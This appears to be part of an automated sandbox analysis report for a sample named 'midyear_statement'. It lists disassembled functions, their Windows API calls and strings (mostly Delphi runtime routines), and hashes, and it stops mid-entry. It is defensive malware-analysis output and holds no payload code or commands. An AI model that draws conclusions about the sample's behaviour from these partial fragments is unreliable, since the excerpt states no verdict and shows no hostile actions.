Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 8fa0fdc54b5f9d15c8b1b455f38d7f04cd53384b200073d1d83e5664b4e3ba02
Instruction ID: 4ece900ae53d16df1c3826f07bdf1ded6a09d64acd7c37115478d7492ff7ae59
Opcode Fuzzy Hash: 8fa0fdc54b5f9d15c8b1b455f38d7f04cd53384b200073d1d83e5664b4e3ba02
Instruction Fuzzy Hash: FE416F71E00659BBDB10DEE8CC88ADEB7FCBF48348F0405A5E548FB241E634EA648B50

Uniqueness

Uniqueness Score: -1.00%

Function 040A5B48 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 040A5B58
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 040A5B65
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 040A5B6B
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 040A5B96
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 040A5BDD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 040A5BED
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 040A5C15
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 040A5C25
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 040A5C4B
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 040A5C5B

Strings

Software\Borland\Delphi\Locales, xrefs: 040A5AA8
Software\Borland\Locales, xrefs: 040A5A6C, 040A5A8A

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 4465b9c049f6acc033b0fe71c1bc8b8fae8fbe916bbec03758855ca2582882af
Instruction ID: 0b59d7a91c45e09761a3f0d45664a9fc797e3d39b4677c761022c1268bbcd452
Opcode Fuzzy Hash: 4465b9c049f6acc033b0fe71c1bc8b8fae8fbe916bbec03758855ca2582882af
Instruction Fuzzy Hash: 88317571E4025C7EFB25D6F49C85BDEB7EC9B04388F0441E1A604FA185E674EF688B50

Uniqueness

Uniqueness Score: -1.00%

Function 040A7F18 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 040A7F39

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 3261405b2ed2b2ab2c958c9c80080ad853df0981eae5853c2e6ffa55791d3cae
Instruction ID: 915ff7ba18767d15d81af69b9c54ebc63942807eb104fd37c8487b4e1eafdac9
Opcode Fuzzy Hash: 3261405b2ed2b2ab2c958c9c80080ad853df0981eae5853c2e6ffa55791d3cae
Instruction Fuzzy Hash: 6C1112B5E00209AFDB00CF99CC80DEFF7F9FFC8204B54C559A414E7254E671AA018B90

Uniqueness

Uniqueness Score: -1.00%

Function 040AA708 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 040AA726

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8652817d83d320707a3fc63be9e7e301e39a0ac90db054d598b7f88b77d66beb
Instruction ID: e1afdb28e273d1635696ace15060faca84681f5d0fc18d1aaae4606b77d448ec
Opcode Fuzzy Hash: 8652817d83d320707a3fc63be9e7e301e39a0ac90db054d598b7f88b77d66beb
Instruction Fuzzy Hash: 3CE0923570021827E710A5A85C80EEAB2AC975C218F04426AA908E7385EDA1ADA086A5

Uniqueness

Uniqueness Score: -1.00%

Function 040AB6D0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,040CB106,00000000,040CB11E), ref: 040AB6DE

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: ae80c64accf660eb26bbc0552008170798e2bd81a51f55580e44455f03b028fa
Instruction ID: b0db9e9dd890f2059726f6fa985a43fe346870964a83f86563dfed7a884a0a5d
Opcode Fuzzy Hash: ae80c64accf660eb26bbc0552008170798e2bd81a51f55580e44455f03b028fa
Instruction Fuzzy Hash: 7BF01779948302CFE350DF68E440E1977E0FB49704F048A38E59CE7380E77CA8158B12

Uniqueness

Uniqueness Score: -1.00%

Function 040AA754 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,040ABDB6,00000000,040ABFCF,?,?,00000000,00000000), ref: 040AA767

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c30ab9afcc803be26c380c181a15d2dc83cb02ae3c0e93a310babb5a72a7d01f
Instruction ID: 591b2ccd465284cfcd6dd2d36249e02bc1fb5f23ad5d81de33cbe75f7f1f0b49
Opcode Fuzzy Hash: c30ab9afcc803be26c380c181a15d2dc83cb02ae3c0e93a310babb5a72a7d01f
Instruction Fuzzy Hash: CED0A76630D2603AF31051AB6D84DBF9AFCCBC66F5F04843AF588D6151E201DC15DB71

Uniqueness

Uniqueness Score: -1.00%

Function 040A9150 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 040A9154

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 55d25a43ec22de918725fd133b871e080edd18120f93c639a8c296fbe121a14f
Instruction ID: bbe72d2ce759407bb4c665515aba2c5c55ef390aca9c43392abf721700ec0421
Opcode Fuzzy Hash: 55d25a43ec22de918725fd133b871e080edd18120f93c639a8c296fbe121a14f
Instruction Fuzzy Hash: 12A0120040482005994033280C0217430506810524FC80B4168F8902D4E91F9230C093

Uniqueness

Uniqueness Score: -1.00%

Function 040A20C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Uniqueness

Uniqueness Score: -1.00%

Function 040AD1D8 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 040AD1E1

Part of subcall function 040AD1AC: GetProcAddress.KERNEL32(00000000), ref: 040AD1C5

Strings

VarAnd, xrefs: 040AD2B5
VariantChangeTypeEx, xrefs: 040AD1EF
VarSub, xrefs: 040AD247
VarMul, xrefs: 040AD25D
VarOr, xrefs: 040AD2CB
VarR4FromStr, xrefs: 040AD323
VarAdd, xrefs: 040AD231
VarNot, xrefs: 040AD21B
VarI4FromStr, xrefs: 040AD30D
VarDiv, xrefs: 040AD273
VarXor, xrefs: 040AD2E1
VarNeg, xrefs: 040AD205
VarIdiv, xrefs: 040AD289
VarCmp, xrefs: 040AD2F7
VarBstrFromBool, xrefs: 040AD3BD
VarCyFromStr, xrefs: 040AD365
VarR8FromStr, xrefs: 040AD339
VarBstrFromCy, xrefs: 040AD391
VarMod, xrefs: 040AD29F
VarDateFromStr, xrefs: 040AD34F
VarBoolFromStr, xrefs: 040AD37B
VarBstrFromDate, xrefs: 040AD3A7
oleaut32.dll, xrefs: 040AD1DC

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 96821264da6551362b1ea5998778299fb31cce67617be275f15472aeb266fc31
Instruction ID: 6df78bc5d8fa105731078b5faaeff2799fc423dd953a0efadf3a2664408c48f8
Opcode Fuzzy Hash: 96821264da6551362b1ea5998778299fb31cce67617be275f15472aeb266fc31
Instruction Fuzzy Hash: F141186564A2046B32047FEEF4045677BDBDED965C360C01AB008BBE60DE74FCE28769

Uniqueness

Uniqueness Score: -1.00%

Function 040B6E1C Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 040B6E22
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 040B6E33
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 040B6E43
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 040B6E53
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 040B6E63
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 040B6E73
GetProcAddress.KERNEL32 ref: 040B6E83

Strings

CoInitializeEx, xrefs: 040B6E3D
CoCreateInstanceEx, xrefs: 040B6E2D
CoReleaseServerProcess, xrefs: 040B6E5D
CoSuspendClassObjects, xrefs: 040B6E7D
CoAddRefServerProcess, xrefs: 040B6E4D
CoResumeClassObjects, xrefs: 040B6E6D
ole32.dll, xrefs: 040B6E1D

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 24792e07a1d72189cb715aaab2dec05e46d6750a08ea6f7e79a995eec708ed3f
Instruction ID: 1dc29d936c264a437b195823ccca517d7623a6ab9fdfeb15d7e2fadd198e62ac
Opcode Fuzzy Hash: 24792e07a1d72189cb715aaab2dec05e46d6750a08ea6f7e79a995eec708ed3f
Instruction Fuzzy Hash: 0AF0ACF0688301AFB200BFF0DC95AAB3668DA6050C30D5C36A49579901DA7FBC109F5D

Uniqueness

Uniqueness Score: -1.00%

Function 040A2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 040A28CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 040A2849
Unexpected Memory Leak, xrefs: 040A28C0
Unknown, xrefs: 040A278C
String, xrefs: 040A27A1
bytes: , xrefs: 040A275D
, xrefs: 040A2814
7, xrefs: 040A26A1
An unexpected memory leak has occurred. , xrefs: 040A2690
The unexpected small block leaks are:, xrefs: 040A2707

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 49f1f83fd927254d3cf46612da0d65ad88e6cd3b933f256252f24ad7c124e064
Instruction ID: f728344241ca820d4274149bc884640428dbe27abf759f8d1a63cc11067b9e9b
Opcode Fuzzy Hash: 49f1f83fd927254d3cf46612da0d65ad88e6cd3b933f256252f24ad7c124e064
Instruction Fuzzy Hash: 17A1F830B042548BEB21EBACCC84BD876E4EB09758F1440FDE949BB382DB75A9D5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 040B9FF8 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 040BA018
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 040BA02F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 040BA035
IsBadReadPtr.KERNEL32(?,00000004), ref: 040BA0C3
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 040BA0CF
IsBadReadPtr.KERNEL32(?,00000014), ref: 040BA0E3

Strings

LoadLibraryExA, xrefs: 040BA025
C:\Windows\System32\KernelBase.dll, xrefs: 040BA02A

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Read$AddressHandleModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 1061262613-1650066521
Opcode ID: bf19b7b4d97711e9d3da125232b66cf9ce2552c3fbb8c3f1870df74e8018c2a8
Instruction ID: 06d7737d8c0213f45a686bf118c1498d0d809f533108b9daea386c469fb77923
Opcode Fuzzy Hash: bf19b7b4d97711e9d3da125232b66cf9ce2552c3fbb8c3f1870df74e8018c2a8
Instruction Fuzzy Hash: EE3164B1700704BBEB60DFA4CC41FDA77A8AF05368F044564FA94BB281D371B5509BA9

Uniqueness

Uniqueness Score: -1.00%

Function 040A252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 040A2849
Unexpected Memory Leak, xrefs: 040A28C0
bytes: , xrefs: 040A275D
, xrefs: 040A2814
7, xrefs: 040A26A1
An unexpected memory leak has occurred. , xrefs: 040A2690
The unexpected small block leaks are:, xrefs: 040A2707

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 4286056f720e5cbce787b5ca076235165b889c422895e7190d12d3212bd613b9
Instruction ID: 2f350bfc8bd1eef1bbdb700bd60f153fdbc64c27b85988f1a43a429e2fafa42a
Opcode Fuzzy Hash: 4286056f720e5cbce787b5ca076235165b889c422895e7190d12d3212bd613b9
Instruction Fuzzy Hash: A171E730A042588FEB21DBACCC84BD8B6E4EB09748F1441F9E549FB381DB75AAD5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 040ABD04 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,040ABFCF,?,?,00000000,00000000), ref: 040ABD3A

Part of subcall function 040AA708: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 040AA726

Strings

:mm, xrefs: 040ABF6D
:mm:ss, xrefs: 040ABF8A
AMPM, xrefs: 040ABF4E
AMPM , xrefs: 040ABF5D
mmmm d, yyyy, xrefs: 040ABE36
m/d/yy, xrefs: 040ABE09

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 75d0743507b3e71bfda660163a65b11554f5db9a9ac6950dc7daf258ec924205
Instruction ID: f6368c2b5c02bbd574c3b442d88881bb8a8f85b739ab2e6333897c24e4e1c15d
Opcode Fuzzy Hash: 75d0743507b3e71bfda660163a65b11554f5db9a9ac6950dc7daf258ec924205
Instruction Fuzzy Hash: 5C613F38B001495BFB00EBE4DC80ADF76B6DB8820CF559535E601BB785DA38F926DB51

Uniqueness

Uniqueness Score: -1.00%

Function 040A42F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,040A43B7,?,?,040FF7C8,?,?,040CC7A8,040A6521,040CB305), ref: 040A4329
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,040A43B7,?,?,040FF7C8,?,?,040CC7A8,040A6521,040CB305), ref: 040A432F
GetStdHandle.KERNEL32(000000F5,040A4378,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,040A43B7,?,?,040FF7C8), ref: 040A4344
WriteFile.KERNEL32(00000000,000000F5,040A4378,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,040A43B7,?,?), ref: 040A434A
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 040A4368

Strings

Runtime error at 00000000, xrefs: 040A4322, 040A4361
Error, xrefs: 040A435C

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 8fea0b5c0d51afc905713e640c5882aef7fbf51b082de6ce381d56c5aabe81e4
Instruction ID: d074036b25b28dcad7a87f1ae6e700467dbf4723ef3e50608c2e5e3c3088b9cf
Opcode Fuzzy Hash: 8fea0b5c0d51afc905713e640c5882aef7fbf51b082de6ce381d56c5aabe81e4
Instruction Fuzzy Hash: A9F09675A84340B5FA50A7E49C09F9D264C9B85B1DF104329B215BC4C187ECB4E49765

Uniqueness

Uniqueness Score: -1.00%

Function 040AAE08 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 040AAC80: VirtualQuery.KERNEL32(?,?,0000001C), ref: 040AAC9D
Part of subcall function 040AAC80: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 040AACC1
Part of subcall function 040AAC80: GetModuleFileNameA.KERNEL32(040A0000,?,00000105), ref: 040AACDC
Part of subcall function 040AAC80: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 040AAD72

CharToOemA.USER32(?,?), ref: 040AAE3F
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 040AAE5C
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 040AAE62
GetStdHandle.KERNEL32(000000F4,040AAECC,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 040AAE77
WriteFile.KERNEL32(00000000,000000F4,040AAECC,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 040AAE7D
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 040AAE9F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 040AAEB5

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 0b8823413c90e1c6c675d73c7c7037f6242fb5aa676aa1f8bdb8288b128dab98
Instruction ID: 545ab425f2794589ee1c9348865f5f5365dc71849d8e2fb9ca84b5e234a9efc9
